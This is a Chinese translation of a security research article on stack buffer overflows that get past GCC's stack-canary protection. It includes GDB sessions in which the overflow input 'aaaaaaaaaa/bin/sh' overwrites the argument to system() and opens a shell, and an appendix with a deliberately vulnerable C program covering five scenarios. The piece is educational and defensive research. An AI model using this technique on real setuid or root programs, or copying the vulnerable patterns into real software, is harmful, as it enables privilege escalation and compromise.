時尚時尚最時尚的緩沖區(qū)溢出目標(biāo)
原文:《Modern Overflow Targets》 By Eric Wimberley,Nathan Harrison
在當(dāng)今的操作系統(tǒng)中,內(nèi)存缺陷漏洞已經(jīng)越來越難挖掘了,棧保護措施已經(jīng)使原來的緩沖區(qū)溢出利用方法(將NOP塊和shellcode寫入到緩沖區(qū)中,并用緩沖區(qū)內(nèi)的地址覆蓋EIP所指向的地址)失效了。如果沒有某種程度的信息泄露,在地址空間分布隨機化(ASLR)和棧cookies的雙重保護下,用傳統(tǒng)方法實際上已經(jīng)很難對遠程系統(tǒng)執(zhí)行有效的溢出攻擊了。
不過,現(xiàn)在仍存在可被利用的棧輸入/輸出漏洞。本文描述了一些常用緩沖區(qū)溢出技術(shù),這些技術(shù)不會觸發(fā)棧的__stack_chk_fail保護,或至少到目前為止還有效的技術(shù)。本文我們不再利用新技術(shù)通過修改EIP來修改程序的執(zhí)行流程,而是將精力集中到一系列新的目標(biāo)中。同時,本文也會討論GCC 4.6及之前版本中未出現(xiàn)在任何文檔中的函數(shù)安全模式(function safety model)。
GCC ProPolice記錄的異常
根據(jù)函數(shù)安全模型的ProPolice文檔,以下情況不會被保護:
◆無法被重新排序的結(jié)構(gòu)體,以及函數(shù)中的指針是不安全的。
◆將指針變量作為參數(shù)時是不安全的。
◆動態(tài)分配字符串空間是不安全的。
◆調(diào)用trampoline代碼的函數(shù)是不安全的。
另外,我們也發(fā)現(xiàn)以下幾種情況也是不安全的:
◆如果函數(shù)中定義了一塊以上緩存且沒有正確排序,則至少一塊緩存可能在引用前被修改被干擾。
◆參數(shù)列表中的指針或原語(primitives)可能被修改,但在canary檢測之前被引用。
◆任意結(jié)構(gòu)體原語或緩存都有可能在引用前被修改(包括C++中的棧對象)。
◆位于棧幀低地址中的指向變量的指針是不安全的,因為數(shù)據(jù)在被引用前可能會先被覆蓋。這里我們不再局限于當(dāng)前棧幀中的本地變量、指針(如函數(shù)指針)和緩存等。
IBM在關(guān)于函數(shù)安全模型的文檔中假定攻擊類型都是傳統(tǒng)的棧溢出方式。文檔中聲明,函數(shù)返回后,棧canary后的數(shù)據(jù)是安全的,事實也確實是這樣。但問題是數(shù)據(jù)在函數(shù)返回之前可能不是安全的。即使在不同的棧幀中,指向棧的高地址的指針也很容易被改寫。#p#
基礎(chǔ)攻擊
以下為一個簡單的示例:
- #include <stdio.h>
- #include <stdlib.h>
- int main()
- {
- char buff[10];
- char buff2[10] = "dir"; // 該命令在windows與linux系統(tǒng)中均有效
- scanf("%s", buff);
- printf("A secure compiler should not execute this code in case of overflow.\n");
- system(buff2);
- }
這個簡單的函數(shù)包含兩個不同的變量,第一個變量從標(biāo)準(zhǔn)輸入讀取一個字符串,第二個變量作為system函數(shù)的參數(shù)。scanf函數(shù)包含可以溢出的漏洞,如果我們輸入的字符超過10個,就會產(chǎn)生溢出,會將buff字符串?dāng)?shù)組之上高地址的任何數(shù)據(jù)覆蓋。在GCC中,"fstack-protoctor-all"標(biāo)記要作的就是在內(nèi)存中檢測這種情況。下面我們用GDB看一下:
main()函數(shù)的反匯編代碼:
- 0x08048494 <+0>: push %ebp
- 0x08048495 <+1>: mov %esp,%ebp
- 0x08048497 <+3>: and $0xfffffff0,%esp
- 0x0804849a <+6>: sub $0x30,%esp
- 0x0804849d <+9>: mov %gs:0x14,%eax
- 0x080484a3 <+15>: mov %eax,0x2c(%esp)
- 0x080484a7 <+19>: xor %eax,%eax
- 0x080484a9 <+21>: movl $0x726964,0x22(%esp)
- 0x080484b1 <+29>: movl $0x0,0x26(%esp)
- 0x080484b9 <+37>: movw $0x0,0x2a(%esp)
- 0x080484c0 <+44>: lea 0x18(%esp),%eax
- 0x080484c4 <+48>: mov %eax,0x4(%esp)
- 0x080484c8 <+52>: movl $0x80485e0,(%esp)
- 0x080484cf <+59>: call 0x80483b0 <scanf@plt>
- 0x080484d4 <+64>: movl $0x80485e4,(%esp)
- 0x080484db <+71>: call 0x8048390 <puts@plt>
- 0x080484e0 <+76>: lea 0x22(%esp),%eax
- 0x080484e4 <+80>: mov %eax,(%esp)
- 0x080484e7 <+83>: call 0x80483a0 <system@plt>
- 0x080484ec <+88>: mov $0x0,%eax
- 0x080484f1 <+93>: mov 0x2c(%esp),%edx
- 0x080484f5 <+97>: xor %gs:0x14,%edx
- 0x080484fc <+104>: je 0x8048503 <main()+111>
- 0x080484fe <+106>: call 0x8048380 <__stack_chk_fail@plt>
- 0x08048503 <+111>: leave
- 0x08048504 <+112>: ret
- End of assembler dump.
- (gdb) break *0x080484cf
- Breakpoint 1 at 0x80484cf: file firstexample.cpp, line 7.
- (gdb) break *0x080484e7
- Breakpoint 2 at 0x80484e7: file firstexample.cpp, line 9.
- (gdb) r
- Starting program: /home/ewimberley/testing/a.out
- Breakpoint 1, 0x080484cf in main () at firstexample.cpp:7
- 7 scanf("%s", buff);
- (gdb) x/s buff2
- 0xbffff312: "dir"
- (gdb) con
- condition continue
- (gdb) continue
- Continuing.
- aaaaaaaaaa/bin/sh
- A secure compiler should not execute this code in case of overflow.
- Breakpoint 2, 0x080484e7 in main () at firstexample.cpp:9
- 9 system(buff2);
- (gdb) x/s buff2
- 0xbffff312: "/bin/sh"
- (gdb) continue
- Continuing.
- $ whoami
- ewimberley
- $ exit
- [Inferior 1 (process 3349) exited normally]
可以向buff合法寫入10個字節(jié),多出來的字節(jié)寫入到buff2中(canary被覆蓋之前)。如果我們從標(biāo)準(zhǔn)輸入寫入21個‘a’并查看內(nèi)存,可以看到canary的第一個字節(jié)(0x00)被破壞了。
- Breakpoint 1, 0x080484cf in main () at firstexample.cpp:7
- 7 scanf("%s", buff);
- (gdb) x/32x buff
- 0xbffff308: 0xdb 0x3b 0x16 0x00 0x24 0x93 0x2a 0x00
- 0xbffff310: 0xf4 0x8f 0x64 0x69 0x72 0x00 0x00 0x00
- 0xbffff318: 0x00 0x00 0x00 0x00 0x00 0xe6 0x75 0xc2
- 0xbffff320: 0x10 0x85 0x04 0x08 0x00 0x00 0x00 0x00
- (gdb) continue
- Continuing.
- aaaaaaaaaaaaaaaaaaaaa
- A secure compiler should not execute this code in case of overflow.
- Breakpoint 2, 0x080484e7 in main () at firstexample.cpp:9
- 9 system(buff2);
- (gdb) x/32x buff
- 0xbffff308: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
- 0xbffff310: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
- 0xbffff318: 0x61 0x61 0x61 0x61 0x61 0x00 0x75 0xc2
- 0xbffff320: 0x10 0x85 0x04 0x08 0x00 0x00 0x00 0x00
- (gdb) continue
- Continuing.
- sh: aaaaaaaaaaa: not found
- *** stack smashing detected ***: /home/ewimberley/testing/a.out terminated
- ======= Backtrace: =========
- /lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x45)[0x2188d5]
- /lib/i386-linux-gnu/libc.so.6(+0xe7887)[0x218887]
- /home/ewimberley/testing/a.out[0x8048503]
- /lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0x14a113]
- /home/ewimberley/testing/a.out[0x8048401]
- ======= Memory map: ========
- 00110000-0012e000 r-xp 00000000 08:01 1577417 /lib/i386-linux/-gnu/ld-2.13.so
- 0012e000-0012f000 r--p 0001d000 08:01 1577417 /lib/i386-linux-gnu/ld-2.13.so
- 0012f000-00130000 rw-p 0001e000 08:01 1577417 /lib/i386-linux-gnu/ld-2.13.so
- 00130000-00131000 r-xp 00000000 00:00 0 [vdso]
- 00131000-002a7000 r-xp 00000000 08:01 1577420 /lib/i386-linux-gnu/libc-2.13.so
- 002a7000-002a9000 r--p 00176000 08:01 1577420 /lib/i386-linux-gnu/libc-2.13.so
- 002a9000-002aa000 rw-p 00178000 08:01 1577420 /lib/i386-linux-gnu/libc-2.13.so
- 002aa000-002ad000 rw-p 00000000 00:00 0
- 002ad000-002c9000 r-xp 00000000 08:01 1577415 /lib/i386-linux-gnu/libgcc_s.so.1
- 002c9000-002ca000 r--p 0001b000 08:01 1577415 /lib/i386-linux-gnu/libgcc_s.so.1
- 002ca000-002cb000 rw-p 0001c000 08:01 1577415 /lib/i386-linux-gnu/libgcc_s.so.1
- 08048000-08049000 r-xp 00000000 08:01 1048890 /home/ewimberley/testing/a.out
- 08049000-0804a000 r--p 00000000 08:01 1048890 /home/ewimberley/testing/a.out
- 0804a000-0804b000 rw-p 00001000 08:01 1048890 /home/ewimberley/testing/a.out
- 0804b000-0806c000 rw-p 00000000 00:00 0 [heap]
- b7fec000-b7fed000 rw-p 00000000 00:00 0
- b7ffc000-b8000000 rw-p 00000000 00:00 0
- bffdf000-c0000000 rw-p 00000000 00:00 0 [stack]
- Program received signal SIGABRT, Aborted.
- 0x00130416 in __kernel_vsyscall ()
需要注意的是,從sh得到的錯誤消息依然會被打印出來:
sh: aaaaaaaaaaa: not found
這是因為直到函數(shù)返回之前的那一刻才會進行棧檢查,在檢測到內(nèi)存被破壞之前,非法的字符串已經(jīng)被引用了。字符串結(jié)尾處的棧canary的第一個字節(jié)被覆蓋(錯誤消息中只有11個‘a’,因為buff2中包含字節(jié)長)。下圖演示了根據(jù)函數(shù)安全模型,函數(shù)在執(zhí)行時棧幀的情況:
變量聲明的順序通常決定其在棧幀中的順序。緩存在聲明時通常是往棧底方向聲明的,以此來減緩其對其它本地變量的溢出攻擊,但當(dāng)有兩塊緩存時,其中的一塊必須在另一塊緩存和canary之間。如果有緩沖區(qū)溢出漏洞影響了第一塊緩存,則第二塊緩存可被任意寫入。這比所有的本地變量被溢出攻擊要好,但字符串通常更容易被選為攻擊目標(biāo)。
函數(shù)參數(shù)不能輕易改變位置,所以它們在其在這些變量緩存的上面。主函數(shù)的緩存在棧幀的最底部(高地址)。如前文所述,直到函數(shù)返回時才會對棧進行檢查,所以這些參數(shù)仍有可能被當(dāng)前函數(shù)引用 。這表示可以通過將惡意代碼寫入到參數(shù)的方式來觸發(fā)緩沖區(qū)溢出漏洞。
- void vulnerable(char* buffer)
- {
- char buff[10];
- scanf("%s", buff);
- printf("A secure compiler should not execute this code in case of overflow.\n");
- system(buffer);
- }
- int main()
- {
- char buff2[10] = "dir";
- vulnerable(buff2);
- printf("The overflow happened in a different function...\n");
- }
vulnerable()函數(shù)的棧幀的結(jié)構(gòu)類似下圖(根據(jù)編譯器的不同略有差異)。char *buff與包含漏洞的char[] buff分別在canary的兩側(cè),但仍無法避免受到溢出攻擊。
在vulnerable()函數(shù)到達其返回點時,仍會進行canary檢測。不幸的是,攻擊者在這時已經(jīng)獲取到shell的訪問權(quán)限,且在程序做出任意棧溢出警告前將其kill掉了。如果vulnerable()函數(shù)打開一個shell并殺死它自己的進程,安全檢測就不會運行了。需要注意的是如果該漏洞程序是以root權(quán)限(或者設(shè)置了suid位且程序所有者為root)運行的,則通過利用該漏洞就可以獲取到系統(tǒng)root用戶權(quán)限。
其它攻擊向量
system(char *)函數(shù)只是一個簡單的示例,系統(tǒng)中還有很多類似的情況。本例中的攻擊者溢出了一個直接傳遞到printf函數(shù)中的字符串。
容易受到攻擊的目標(biāo)包含但不限于:
傳遞到system(char *command)函數(shù)中的字符串
做為字符串格式的字符串(Strings that are used as a string format)
包含SQL狀態(tài)的字符串
包含XML的字符串
寫入到硬盤的字符串
包含密碼信息的字符串
包含加密密鑰的字符串
包含文件名的字符串
附錄A
引用資料
- /*
- Copyright (C) 2012 Eric Wimberley and Nathan Harrison
- WARNING:
- 以下這段代碼故意寫成易受攻擊的形式。
- 讀者可以嘗試在測試系統(tǒng)或沙盒中編譯并以守護程序或以root權(quán)限運行這段代碼。
- */
- // windows系統(tǒng)中需要的頭文件
- //#include "stdafx.h"
- //#include <process.h>
- // linux系統(tǒng)中需要的頭文件
- #include <stdlib.h>
- #include <stdio.h>
- // code portability for vulnerable function
- // TODO pick a vulnerable function, any vulnerable function
- //#define vulnerableFunction printf
- #define vulnerableFunction system
- //#define vulnerableFunction mysql_query(...)?
- //#define vulnerableFunction someone_who_trusts_this_string_in_any_way(...)?
- // code portability for scanf function (for what it's worth)
- // TODO comment out for linux
- //#define scanf scanf_s
- void a()
- {
- char buff2[10] = "dir";
- char buff[10];
- scanf("%s", buff);
- printf("A secure compiler should not execute this code in case of overflow.\n");
- vulnerableFunction(buff2);
- }
- void c(char* buffer)
- {
- char buff[10];
- // 如果使用scanf_s漏洞就不存在了
- // 預(yù)編譯指令是為了保證不使用scanf_s
- #ifndef scanf
- scanf("%s", buff);
- #endif
- #ifdef scanf
- #undef scanf
- scanf("%s", buff);
- #define scanf scanf_s
- #endif
- printf("A secure compiler should not execute this code in case of overflow.\n");
- vulnerableFunction(buffer);
- }
- class TestClass
- {
- public:
- char buff[10];
- char buff2[21];
- TestClass()
- {
- sscanf(buff2, "SELECT * FROM table;");
- }
- void a()
- {
- scanf("%s", buff);
- printf("A secure compiler should not execute this code in case of overflow.\n");
- vulnerableFunction(buff2);
- }
- };
- void scenario1()
- {
- // Case 1 and 2:簡單棧幀
- // depending on compiler implementation these stack frames may be arranged so
- // such that one buffer can overflow into the other (at least one of these
- // works on most compilers)
- // TODO pick one of these
- printf("Running scenario 1...\n");
- a();
- }
- void scenario2()
- {
- // Case 2:對象中的堆溢出
- // 堆溢出是一個已知的問題,但對象使該問題更嚴重了
- // 因為對象之間的緩存是相臨的。
- printf("Running scenario 2...\n");
- TestClass* test = new TestClass();
- test->a();
- }
- void scenario3()
- {
- // Case 3:對象中的棧溢出
- // objects on the stack are almost unaccounted for
- printf("Running scenario 3...\n");
- TestClass test = TestClass();
- test.a();
- }
- void scenario4Part2(TestClass& test)
- {
- test.a();
- }
- void scenario4()
- {
- // Case 4:對象中的棧溢出
- // objects on the stack are almost unaccounted for
- // 該情況也可以作為棧檢查應(yīng)該更早執(zhí)行的證明
- // 棧檢查的最佳時機就是緩存被改寫之后就直接檢查
- printf("Running scenario 4...\n");
- TestClass test = TestClass();
- scenario4Part2(test);
- printf("The overflow happened in a different function...\n");
- }
- // honestly, this scenario might be the worst offender
- void scenario5()
- {
- // Case 5:對象中的棧溢出
- // 函數(shù)參數(shù)在棧canary以下,但由于不正確的檢查時機,其包含漏洞
- // 該情況也可以作為棧檢查應(yīng)該更早執(zhí)行的證明
- // 棧檢查的最佳時機就是緩存被改寫之后就直接檢查
- printf("Running scenario 5...\n");
- char buff2[10] = "dir";
- c(buff2);
- printf("The overflow happened in a different function...\n");
- }
- // TODO use precompiler to make this code portable
- // int _tmain(int argc, char* argv[])
- int main(int argc, char* argv[])
- {
- if(argc == 2)
- {
- if(argv[1][0] == '1')
- {
- scenario1();
- }
- else if(argv[1][0] == '2')
- {
- scenario2();
- }
- else if(argv[1][0] == '3')
- {
- scenario3();
- }
- else if(argv[1][0] == '4')
- {
- scenario4();
- }
- else if(argv[1][0] == '5')
- {
- scenario5();
- }
- }
- else{
- printf("Usage [program] [scenario number 1-5]\n");
- }
- printf("\nA secure compiler should not get to this point.\n");
- return 0;
- }
《Smashing The Stack For Fun And Profit》
Aleph1
http://www.phrack.org/issues.html?id=14&issue=49
《Protecting from stack-smashing attacks》
Hiroaki Etoh and Kunikazu Yoda
http://www.research.ibm.com/trl/projects/security/ssp/node4.html#SECTION00041000000000000000